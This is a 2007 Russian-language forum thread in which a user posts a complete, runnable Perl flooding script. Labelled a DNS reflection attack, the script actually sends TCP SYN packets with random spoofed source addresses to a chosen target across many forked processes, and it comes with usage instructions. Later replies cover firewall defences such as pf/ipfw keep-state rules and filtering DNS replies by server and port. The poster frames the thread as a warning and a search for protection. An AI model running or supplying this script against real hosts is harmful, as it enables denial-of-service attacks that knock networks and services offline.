Страница 1 из 1

DNS flood

Добавлено: 2007-12-01 20:13:37
100kg
скрипт делает запрос к DNS а ответ шлется к атакуемой машине, нужен перл и net-rawip!, проверял на себе все работает, правда без фаерволла!

Код: Выделить всё

#!/usr/bin/perl

#Multithreads packet flooder with counterfeit ip
#Need additional perl module Net::RawIP (search.cpan.org)
#Using example: perl dos.pl -i 127.0.0.1 -n 10000 -t 100

#Cyber Lords Community
#http://www.cyberlords.net

require 'getopts.pl';
use Net::RawIP;
Getopts('i:n:t:');

die "Usage $0 -i <target> -n <number of packets> -t <number of threads>"

unless ($opt_i && $opt_n && $opt_t);
$pids = $opt_t;

#@flags=('urg','fin','syn','psh');

print "\n\nTarget: $opt_i";
print "\nThreads: $pids\n";
print "\nAttacks: $opt_n\n\n";


while($x<$opt_n){
    for ($i=0;$i<=$pids;$i++) {
	$x++;
	if ($pid=fork()) {
	    push(@forked,$pid);
	}
	else {


	    ##########SEND PACKET#########
	    $a = new Net::RawIP;
	    $opt_s=int(rand(255)).".".int(rand(255)).".".int(rand(255)).".".int(rand(255));

	    #$flag=@flags[int(rand(@flags))];

	    $a->set({ ip => {saddr => $opt_s,
		     daddr => $opt_i
		},
		 tcp => {dest => int(rand(65536)),
		     source => int(rand(65536)),
		 urg => 0,
		 fin => 0,
		 syn => 1,
		 psh => 0}
	    });

	    $a->send;
##############################

	    print ".";
		exit;
	    }
    }

    killpidz();
}


sub killpidz {
  foreach (@forked) {
    chomp;
    waitpid($_,0);
    kill("TERM" => $_)
  }
  undef @forked;
}

Re: DNS flood

Добавлено: 2007-12-02 0:05:27
dikens3
К чему бы это?

Re: DNS flood

Добавлено: 2007-12-02 0:18:34
100kg
к тому что может есть решения к такой атаке?

Re: DNS flood

Добавлено: 2007-12-02 0:21:03
dikens3
Бррр... ipfw(pf) с включённым keep-state для udp. Разве что количеством входящего трафика возьмут.

К примеру зачем принимать ответы не с 53 порта от DNS серверов НЕ указанных в конфиге? (Т.е. примать нужно только от определённых DNS с 53 порта)

Код: Выделить всё

${fwcmd} add pass udp from ${dnsprov} 53 to me in via ${ifout}
Наглядный пример работы keep-state на pf (касательно DNS):
Сделал пинг http://www.transport.ru

Код: Выделить всё

rl0 icmp 62.118.252.74:512 <- 192.168.10.4       0:0
rl0 udp 213.177.96.1:53 <- 192.168.10.4:1032       SINGLE:MULTIPLE
tun0 icmp 192.168.10.4:512 -> 62.118.252.74       0:0
tun0 udp 192.168.10.4:1032 -> 213.177.96.1:53       MULTIPLE:SINGLE
rl0 - внутренняя сетевуха.

pf создал для rl0 и tun0 по 2-е сессии (по ним трафик вернётся обратно)
т.к. у меня обратный трафик может возвращаться только по сессиям, атака в пролёте, под критерии не попадёт, время сессий тоже уменьшается и запросы у меня только на определённые DNS.

Re: DNS flood

Добавлено: 2007-12-02 0:29:33
100kg
принимать ответы на 53 порт
все верно

Re: DNS flood

Добавлено: 2007-12-02 0:31:37
dikens3
100kg писал(а):
принимать ответы на 53 порт
все верно
Ну да, потерялся я. Верно думаешь. Исправил своё сообщение.

Re: DNS flood

Добавлено: 2007-12-02 19:10:37
helloworld
100kg

Хотелось бы получить вразумительный ответ на мой философский вопрос: зачем заниматься подобными вещами ? Если работает, то зачем ломать ?

ps: вспоминается поговорка: ломать - не строить.

Re: DNS flood

Добавлено: 2007-12-02 22:17:54
dikens3
ps: вспоминается поговорка: ломать - не строить.
Прежде чем ломать, нужно понять, что необходимо будет строить. А строить нужно уметь.

Вообще правильно 100kg думает, нашёл проблему, ищет решение. Хочешь защититься, стань хакером?

Re: DNS flood

Добавлено: 2007-12-02 22:42:59
100kg
когда увидел что cpu load 100% и с локалки инет не идет!сразу вспотел! и судорожно понял что любой мальчик может меня послать в /dev/null, вот и решил предупредить всех кто не знает о сеи проблеме и узнать решения. ждать не пришлось долго, спасибо вам dikens3